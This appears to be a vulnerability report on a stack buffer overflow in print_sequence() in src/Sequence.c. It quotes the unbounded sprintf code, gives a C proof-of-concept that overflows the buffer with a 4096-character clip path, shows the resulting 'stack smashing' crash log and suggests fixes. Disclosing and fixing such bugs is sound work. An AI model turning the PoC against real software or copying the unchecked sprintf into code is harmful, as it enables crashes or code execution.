Stack Buffer Overflow at src/Sequence.c

[xVL00PeR]

In file src/Sequence.c at line 567 a stack buffer overflow can occur due to the fact that there's no length check on the buf local variable.

/**
 * get sequence string
 * @param  seq Sequence to get data
 * @return     string allocated on heap, to be freed by caller
 */
char *print_sequence(Sequence *seq) {
    // (...)
    char buf[4096];
    // (...)

    for(int i = 0; currNode != NULL; i++) {

        // Here it is!!
        sprintf(buf, "Clip [%d]\nurl: %s\nstart_pts: %ld\nend_pts: %ld\norig_start_pts: %ld\norig_end_pts: %ld\nvid_ctx: %p\n",
                i, c->vid_ctx->url, c->start_pts, c->end_pts, c->orig_start_pts, c->orig_end_pts, c->vid_ctx);
    }
    return str;
}

This can lead to a crash or to arbitrary code execution.

I wrote a POC for showing this:

/**
 * This is a proof of concept of a possible buffer overflow
 * in src/Sequence.c -> print_sequence() -> line: 567
 *
 * A buffer overflow can occur by trying to print a sequence
 * with a large enough path.
 *
 * In UNIX, the maximun size of a path is 4096 bytes, so in this
 * POC we still handle realistic sizes.
 */

#include "Timebase.h"
#include "Sequence.h"
#include "OutputContext.h"

int main(int argc, char **argv) {
    Sequence seq;
    init_sequence(&seq, 30, 48000);

    char *large_buffer = (char *)malloc(4096);
    for (uint64_t i = 0; i < 4096; i++){
      *(large_buffer+i) = 'A';
    }
    Clip *clip = malloc(sizeof(Clip));
    init_clip(clip, large_buffer);

    open_clip(clip);

    set_clip_bounds(clip, 53, 61);

    sequence_append_clip(&seq, clip);

    char *str = print_sequence(&seq);
    printf("Sequence:\n%s\n", str);
    free(str);
    str = NULL;


    free_sequence(&seq);
    return 0;
}

And here's the crash log:

Could not open source file AAAAAAAAAAAA(skipped...)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
open_clip() error: Failed to open VideoContext for clip[AAAAAAAAAAAAAAAAA(skipped...)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
Video stream does not exist
sequence add clip [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(skipped...)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA], start_pts: 0
Failed to get video time_base: clip[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(skipped...)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA] is not open
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

As the maximum size of a UNIX path is 4096 bytes, my idea for fixing this is pretty simple:

1. Make the variable buf bigger so that it can fit a 4096 bytes path.
2. Check at the start of the function if the path is bigger than 4096 bytes, and if so:
   Option 1: Cut it
   Option 2: return -1 and abort

[CosmicSage]

Cool find